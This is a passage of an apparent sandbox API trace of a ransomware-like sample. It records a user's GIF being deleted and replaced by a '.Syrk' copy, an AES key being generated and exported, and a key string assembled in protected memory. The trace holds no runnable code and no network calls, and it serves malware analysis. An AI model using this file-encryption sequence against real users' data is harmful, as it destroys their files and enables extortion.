(cb=0x404) returned 0x3b0008 [0255.930] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0255.930] CoTaskMemFree (pv=0x3b0008) [0255.932] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif")) returned 0x20 [0255.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0255.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif", lpFilePart=0x0) returned 0x26 [0255.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0255.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif"), fInfoLevelId=0x0, lpFileInformation=0x23c8c50 | out: lpFileInformation=0x23c8c50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54cc4a70, ftCreationTime.dwHighDateTime=0x1d995a4, ftLastAccessTime.dwLowDateTime=0x3c26a380, ftLastAccessTime.dwHighDateTime=0x1d99932, ftLastWriteTime.dwLowDateTime=0x3c26a380, ftLastWriteTime.dwHighDateTime=0x1d99932, nFileSizeHigh=0x0, nFileSizeLow=0x12f2a)) returned 1 [0255.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0255.932] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif")) returned 1 [0255.935] EtwEventActivityIdControl () returned 0x0 [0255.936] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.936] EtwEventActivityIdControl () returned 0x0 [0255.936] EtwEventActivityIdControl () returned 0x0 [0255.936] EtwEventActivityIdControl () returned 0x0 [0255.942] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif.syrk")) returned 0x20 [0255.943] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif.syrk")) returned 0x20 [0255.943] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0255.943] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk", lpFilePart=0x0) returned 0x2b [0255.944] EtwEventActivityIdControl () returned 0x0 [0255.944] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.944] EtwEventActivityIdControl () returned 0x0 [0255.944] EtwEventActivityIdControl () returned 0x0 [0255.944] EtwEventActivityIdControl () returned 0x0 [0255.948] EtwEventActivityIdControl () returned 0x0 [0255.948] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.948] EtwEventActivityIdControl () returned 0x0 [0255.948] EtwEventActivityIdControl () returned 0x0 [0255.948] EtwEventActivityIdControl () returned 0x0 [0255.952] EtwEventActivityIdControl () returned 0x0 [0255.952] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.952] EtwEventActivityIdControl () returned 0x0 [0255.952] EtwEventActivityIdControl () returned 0x0 [0255.952] EtwEventActivityIdControl () returned 0x0 [0255.956] EtwEventActivityIdControl () returned 0x0 [0255.957] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.957] EtwEventActivityIdControl () returned 0x0 [0255.957] EtwEventActivityIdControl () returned 0x0 [0255.957] EtwEventActivityIdControl () returned 0x0 [0255.961] EtwEventActivityIdControl () returned 0x0 [0255.961] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.961] EtwEventActivityIdControl () returned 0x0 [0255.961] EtwEventActivityIdControl () returned 0x0 [0255.961] EtwEventActivityIdControl () returned 0x0 [0255.965] EtwEventActivityIdControl () returned 0x0 [0255.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0255.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\XOXL0s.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\xoxl0s.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23d1d94 | out: lpFileInformation=0x23d1d94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141db4f0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x141db4f0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x14201650, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x12f44)) returned 1 [0255.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0255.969] GetConsoleOutputCP () returned 0x1b5 [0255.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.970] GetConsoleOutputCP () returned 0x1b5 [0255.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.970] GetConsoleOutputCP () returned 0x1b5 [0255.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.970] GetConsoleOutputCP () returned 0x1b5 [0255.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.970] GetConsoleOutputCP () returned 0x1b5 [0255.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.971] GetConsoleOutputCP () returned 0x1b5 [0255.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.971] GetConsoleOutputCP () returned 0x1b5 [0255.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.971] GetConsoleOutputCP () returned 0x1b5 [0255.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.971] GetConsoleOutputCP () returned 0x1b5 [0255.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.972] GetConsoleOutputCP () returned 0x1b5 [0255.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.972] GetConsoleOutputCP () returned 0x1b5 [0255.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.972] GetConsoleOutputCP () returned 0x1b5 [0255.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.972] GetConsoleOutputCP () returned 0x1b5 [0255.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.973] GetConsoleOutputCP () returned 0x1b5 [0255.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.973] GetConsoleOutputCP () returned 0x1b5 [0255.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.973] GetConsoleOutputCP () returned 0x1b5 [0255.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.973] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0255.974] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.974] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23eb958*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23eb958*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0255.974] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.975] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0255.975] EtwEventActivityIdControl () returned 0x0 [0255.976] EtwEventActivityIdControl () returned 0x0 [0255.976] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.976] EtwEventActivityIdControl () returned 0x0 [0255.976] EtwEventActivityIdControl () returned 0x0 [0255.976] EtwEventActivityIdControl () returned 0x0 [0255.978] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.979] EtwEventActivityIdControl () returned 0x0 [0255.979] EtwEventActivityIdControl () returned 0x0 [0255.979] EtwEventActivityIdControl () returned 0x0 [0255.980] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0255.981] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99a20) returned 1 [0255.982] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.982] CryptExportKey (in: hKey=0x5c99a20, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.982] CryptExportKey (in: hKey=0x5c99a20, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23f3324, pdwDataLen=0x5a2e8c4 | out: pbData=0x23f3324*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.982] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.983] EtwEventActivityIdControl () returned 0x0 [0255.983] EtwEventActivityIdControl () returned 0x0 [0255.983] EtwEventActivityIdControl () returned 0x0 [0255.983] SysStringLen (param_1="") returned 0x8 [0255.983] SysStringLen (param_1="W") returned 0x8 [0255.983] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.984] SysStringLen (param_1="ⶴ뢁赚磦⸸颜捞") returned 0x8 [0255.984] SysStringLen (param_1="ⶴ뢁赚磦⸸颜捞") returned 0x8 [0255.984] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.984] SysStringLen (param_1="WS") returned 0x8 [0255.984] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.984] SysStringLen (param_1="鑈\Ƛ⹔楎襐ㄟᨌ≐) returned 0x8 [0255.984] SysStringLen (param_1="鑈\Ƛ⹔楎襐ㄟᨌ≐) returned 0x8 [0255.984] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.984] SysStringLen (param_1="WSC") returned 0x8 [0255.984] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.984] SysStringLen (param_1="㟚본ꉱﺧ놾盍邗겏") returned 0x8 [0255.984] SysStringLen (param_1="㟚본ꉱﺧ놾盍邗겏") returned 0x8 [0255.984] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.985] SysStringLen (param_1="WSCl") returned 0x8 [0255.985] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.985] SysStringLen (param_1="\㋙ﾢ撋韘됁⫞⋴) returned 0x8 [0255.985] SysStringLen (param_1="\㋙ﾢ撋韘됁⫞⋴) returned 0x8 [0255.985] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.985] SysStringLen (param_1="WSClG") returned 0x8 [0255.985] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.985] SysStringLen (param_1="鿘急筫ᇸ뒭䂶\x88⋜") returned 0x8 [0255.985] SysStringLen (param_1="鿘急筫ᇸ뒭䂶\x88⋜") returned 0x8 [0255.985] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.988] SysStringLen (param_1="WSClGq") returned 0x8 [0255.988] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.989] SysStringLen (param_1="稩䮓⫾鎺踐꟣☧딒") returned 0x8 [0255.989] SysStringLen (param_1="稩䮓⫾鎺踐꟣☧딒") returned 0x8 [0255.989] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.989] SysStringLen (param_1="WSClGqa") returned 0x8 [0255.989] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.989] SysStringLen (param_1="\㫙ﶼ绂㳄编뎥㕈≨) returned 0x8 [0255.989] SysStringLen (param_1="\㫙ﶼ绂㳄编뎥㕈≨) returned 0x8 [0255.989] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.989] SysStringLen (param_1="WSClGqaJ") returned 0x8 [0255.989] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.989] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇") returned 0x8 [0255.990] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇") returned 0x8 [0255.990] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇") returned 0x8 [0255.990] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇") returned 0x10 [0255.990] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.991] SysStringLen (param_1="WSClGqaJf枻䗡쥒௷⩆坼") returned 0x10 [0255.991] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.991] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇위㰂炈謃ꄯ᨞\ꇜ⊈) returned 0x10 [0255.991] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇위㰂炈謃ꄯ᨞\ꇜ⊈) returned 0x10 [0255.991] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.991] SysStringLen (param_1="WSClGqaJff䗡쥒௷⩆坼") returned 0x10 [0255.991] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.991] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇뱨儧䉡꯸䑚砰鼔⹛") returned 0x10 [0255.991] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇뱨儧䉡꯸䑚砰鼔⹛") returned 0x10 [0255.991] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.991] SysStringLen (param_1="WSClGqaJffR䗡쥒௷⩆坼") returned 0x10 [0255.991] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.991] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇羒䖚둰ꛦ뮃匎ᔅ") returned 0x10 [0255.991] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇羒䖚둰ꛦ뮃匎ᔅ") returned 0x10 [0255.991] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.992] SysStringLen (param_1="WSClGqaJffRY쥒௷⩆坼") returned 0x10 [0255.992] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.992] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇拓憴๼ꎭ⊈ᾈ၉") returned 0x10 [0255.992] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇拓憴๼ꎭ⊈ᾈ၉") returned 0x10 [0255.992] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.992] SysStringLen (param_1="WSClGqaJffRYX௷⩆坼") returned 0x10 [0255.992] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.992] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇䐻짺㇇䏴뗛") returned 0x10 [0255.992] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇䐻짺㇇䏴뗛") returned 0x10 [0255.992] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.992] SysStringLen (param_1="WSClGqaJffRYXK⩆坼") returned 0x10 [0255.992] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.993] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇㓮퓓䮴ꮧ䨉湼Ӯ澇") returned 0x10 [0255.993] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇㓮퓓䮴ꮧ䨉湼Ӯ澇") returned 0x10 [0255.993] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.993] SysStringLen (param_1="WSClGqaJffRYXKf坼") returned 0x10 [0255.993] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.993] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇ອ鸫㬯퓞ῴ둏뎻") returned 0x10 [0255.993] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇ອ鸫㬯퓞ῴ둏뎻") returned 0x10 [0255.993] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.993] SysStringLen (param_1="WSClGqaJffRYXKfr") returned 0x10 [0255.993] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.993] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶") returned 0x10 [0255.994] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶") returned 0x10 [0255.994] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶") returned 0x10 [0255.994] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶") returned 0x18 [0255.994] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.994] SysStringLen (param_1="WSClGqaJffRYXKfrj㘾ꙏ鮚법閭꿍") returned 0x18 [0255.994] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.994] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶䵇\䛛ᐆ앦틐麀⊟) returned 0x18 [0255.994] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶䵇\䛛ᐆ앦틐麀⊟) returned 0x18 [0255.994] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.994] SysStringLen (param_1="WSClGqaJffRYXKfrjkꙏ鮚법閭꿍") returned 0x18 [0255.994] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.995] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶褲촥זּ혤䬒஠뉅Z") returned 0x18 [0255.995] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶褲촥זּ혤䬒஠뉅Z") returned 0x18 [0255.995] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.995] SysStringLen (param_1="WSClGqaJffRYXKfrjkPꙏ鮚법閭꿍") returned 0x18 [0255.995] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.995] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶덬렧劑畗ɿ䵒㍪셫") returned 0x18 [0255.995] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶덬렧劑畗ɿ䵒㍪셫") returned 0x18 [0255.995] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.995] SysStringLen (param_1="WSClGqaJffRYXKfrjkPB鮚법閭꿍") returned 0x18 [0255.995] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.995] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶똀ି⭭츃鯐믳") returned 0x18 [0255.995] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶똀ି⭭츃鯐믳") returned 0x18 [0255.995] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.996] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBX법閭꿍") returned 0x18 [0255.996] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.996] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶ﺽ愭㎴㒸皈䙎᎗") returned 0x18 [0255.996] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶ﺽ愭㎴㒸皈䙎᎗") returned 0x18 [0255.996] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.996] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz閭꿍") returned 0x18 [0255.996] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.996] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶卵⴮䐁曦ႛⵡ⃣") returned 0x18 [0255.996] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶卵⴮䐁曦ႛⵡ⃣") returned 0x18 [0255.996] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.996] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3꿍") returned 0x18 [0255.996] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.996] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶儃䧋繝㳄⣴㣝訫") returned 0x18 [0255.997] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶儃䧋繝㳄⣴㣝訫") returned 0x18 [0255.997] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.997] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+") returned 0x18 [0255.997] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.997] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿") returned 0x18 [0255.997] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿") returned 0x18 [0255.997] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿") returned 0x18 [0255.997] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿") returned 0x20 [0255.997] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.998] SysStringLen (param_1="WSClGqaJffRYXKfrjkPBXz3+Vꎮ᬴黉빸胄") returned 0x20 [0255.998] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.998] SysStringLen (param_1="讼弮颯Ｏ䊽불夵驇꒺ຫ鯜ᲁၵ૪拶裏鬻汝峜ᔦࠇ莖䷿ﷻŠ맥앓䶫륎늎") returned 0x20 [0255.998] SysStringLen 